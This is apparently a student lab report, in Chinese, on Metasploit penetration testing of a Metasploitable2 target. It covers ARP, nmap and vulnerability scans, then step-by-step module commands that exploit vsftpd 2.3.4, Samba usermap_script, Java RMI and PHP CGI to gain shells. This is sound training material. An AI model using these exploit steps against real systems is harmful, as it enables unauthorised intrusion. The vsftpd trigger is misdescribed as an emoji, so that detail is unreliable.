一、实验内容
本次实验聚焦 Metasploit 攻击渗透实践,核心内容包括两部分:一是前期渗透准备,通过主机发现、端口扫描及漏洞扫描获取靶机基础信息;二是漏洞渗透利用,针对 Metasploitable2 靶机的 4 类典型漏洞(Vsftpd 源码包后门漏洞、Samba MS-RPC Shell 命令注入漏洞、Java RMI SERVER 命令执行漏洞、PHP CGI 参数执行注入漏洞),使用 Metasploit 框架完成漏洞利用并获取靶机权限,最终掌握 Metasploit 的核心用法与渗透测试流程。
二、实验环境
攻击机 Kali Linux 2024.2(64 位) 192.168.247.128 运行 Metasploit 框架,执行扫描与攻击

靶机 Metasploitable2(32 位 Linux) 192.168.247.142 存在预设漏洞,作为渗透测试目标


三、实验过程与分析
1.前期渗透
主机发现
启动 Kali 终端,切换至 root 用户(ARP 扫描需 root 权限):
sudo su
启动 Metasploit 控制台:
msfconsole
搜索并加载 ARP 扫描模块:
search arp_sweep # 查找ARP扫描辅助模块
use 0 # 加载auxiliary/scanner/discovery/arp_sweep模块
set RHOSTS 192.168.247.0/24 # 指定靶机所在网段(根据实际环境调整)
run # 执行扫描


结果分析:扫描结果中显示 “192.168.247.142 appears to be up (VMware, Inc.)”,确认靶机在线且为 VMware 虚拟机。
端口扫描
方法一:使用 nmap 进行 SYN 扫描 + 版本探测(速度快、信息全):
nmap -sS -sV 192.168.247.142

结果:靶机开放多个高危端口,包括 21(vsftpd 2.3.4)、139(Samba)、1099(Java RMI)、80(Apache HTTP)等,为后续漏洞利用提供依据。
方法二:使用 Metasploit 内置端口扫描模块:
msfconsole
use auxiliary/scanner/portscan/tcp # 加载TCP端口扫描模块
set RHOSTS 192.168.247.142
set THREADS 10 # 设置10个并发线程,提升扫描速度
run

结果:与 nmap 扫描一致,确认靶机开放端口及对应服务,验证端口信息准确性。
漏洞扫描
使用 nmap 漏洞扫描脚本检测靶机已知漏洞:
nmap -script=vuln 192.168.247.142 # 加载vuln脚本集,扫描常见漏洞

结果:检测到 21 端口存在 vsftpd 2.3.4 后门漏洞(CVE-2011-2523)、1099 端口 Java RMI 远程代码执行漏洞等,与实验目标漏洞一致,为后续渗透提供明确方向。
2.Vsftpd 源码包后门漏洞(21 端口)
漏洞原理:vsftpd 2.3.4 版本被植入恶意代码,当用户名以 “😃” 结尾时,服务器会在 6200 端口监听并允许执行任意代码。
利用步骤:
msfconsole # 启动Metasploit
use exploit/unix/ftp/vsftpd_234_backdoor # 加载漏洞利用模块
set RHOSTS 192.168.247.142 # 设置靶机IP
show options # 验证参数配置(默认端口21,无需修改)

exploit # 执行攻击
验证权限:攻击成功后获取靶机 root 权限,执行以下命令验证:
uname -a # 查看系统版本
pwd # 查看当前路径
id # 查看用户身份
ls # 查看目录

3.Samba MS-RPC Shell 命令注入漏洞(139 端口)
漏洞原理:Samba 中 SAM 数据库更新用户口令的代码未过滤用户输入,直接传递给 /bin/sh,攻击者可通过 MS-RPC 调用提交恶意输入,以 nobody 权限执行任意命令。
利用步骤:
msfconsole
use exploit/multi/samba/usermap_script # 加载漏洞利用模块
set RHOSTS 192.168.247.142 # 靶机IP
show options # 确认参数(默认端口139)

exploit # 执行攻击
验证权限:成功获取 shell,执行命令验证:
uname -a # 验证系统版本
whoami # 查看用户身份
ls /root # 查看root目录文件,确认权限

4.Java RMI SERVER 命令执行漏洞(1099 端口)
漏洞原理:Java RMI Server 的 RMI 注册表和激活服务默认配置存在漏洞,允许攻击者从远程 URL 加载恶意类,导致远程代码执行。
利用步骤:
先验证1099端口是否开放
nmap -p 1099 192.168.247.142 # 输出“1099/tcp open java-rmi”,确认端口开放

msfconsole
use exploit/multi/misc/java_rmi_server # 加载漏洞利用模块
set RHOSTS 192.168.247.142
show options # 查看参数(默认端口1099)

exploit # 执行攻击
验证权限:攻击成功后获取 Meterpreter 会话,执行以下操作:
sessions -i 1 # 进入第一个会话(若多个会话,需指定id)
shell # 切换至交互式shell
whoami # 输出root,确认权限
uname -a # 验证系统信息

5.PHP CGI 参数执行注入漏洞(80 端口)
漏洞原理:CGI 脚本未正确处理请求参数,导致攻击者可在参数中插入恶意命令,实现远程代码执行。
利用步骤:
验证80端口是否开放
nmap -p 80 192.168.247.142 # 输出“80/tcp open http”,确认端口开放

msfconsole
use exploit/multi/http/php_cgi_arg_injection # 加载漏洞利用模块
set RHOSTS 192.168.247.142
set TARGETURI /cgi-bin/php # 指定PHP CGI脚本路径
show options # 确认参数(默认端口80)

exploit # 执行攻击
验证权限:成功获取 Meterpreter 会话,切换至 shell 验证:
shell # 进入交互式shell
whoami # 输出www-data(Web服务用户权限,可进一步提权)
uname -a # 验证系统版本
ls /var/www # 查看Web目录文件,确认控制权

四、问题及解决方案
1.漏洞扫描(选做) 使用 nmap 漏洞扫描脚本检测靶机已知漏洞: 长时间没有反应。
vuln脚本集包含大量漏洞检测脚本,负载较高易卡住,可先扫描端口 + 服务版本,再针对性检测漏洞:
第一步:扫描靶机开放端口和服务版本
nmap -sS -sV 192.168.247.142
第二步:针对特定端口(如21、139)单独检测漏洞
nmap --script=ftp-vuln-cve2011-2523 192.168.247.142 -p 21 # 检测vsftpd漏洞
nmap --script=samba-vuln-cve-2017-7494 192.168.247.142 -p 139 # 检测Samba漏洞

五、实验感悟与思考
本次实验让我系统掌握了 Metasploit 框架的核心用法,深刻理解了渗透测试的 “前期侦察 - 漏洞利用 - 权限验证” 完整流程。前期渗透中的主机发现、端口扫描和漏洞扫描是渗透成功的基础,精准的信息收集能让后续漏洞利用更具针对性;而 Metasploit 框架的模块化设计极大简化了漏洞利用过程,通过 “加载模块 - 配置参数 - 执行攻击” 的固定逻辑,即可快速实现各类漏洞的渗透,体现了工具化在网络攻防中的高效性。
在漏洞利用过程中,我发现不同漏洞的利用原理虽有差异,但核心都是利用目标系统的配置缺陷或代码漏洞,突破权限限制实现恶意代码执行。例如 Vsftpd 的后门漏洞是人为植入恶意代码,Samba 和 PHP CGI 漏洞是输入未过滤,Java RMI 漏洞是默认配置不安全,这让我意识到系统安全不仅要关注代码质量,还要重视配置规范和版本更新 —— 很多高危漏洞都源于使用过时版本或保留默认危险配置。
同时,实验也让我体会到网络安全的 “双刃剑” 属性:Metasploit 既可用于合法的渗透测试,帮助企业发现系统漏洞并加固;也可能被恶意攻击者利用,危害网络安全。作为学习者,我必须坚守安全伦理,仅在授权环境中使用相关技术,杜绝滥用。
未来,我将进一步深入学习 Metasploit 的高级用法,如自定义 payload、权限维持、横向移动等,同时加强对漏洞原理的理解,不仅要 “会用工具”,还要 “懂其本质”,从而在面对复杂网络环境时,能够灵活应对各类安全挑战,为网络安全防护提供更坚实的技术支撑。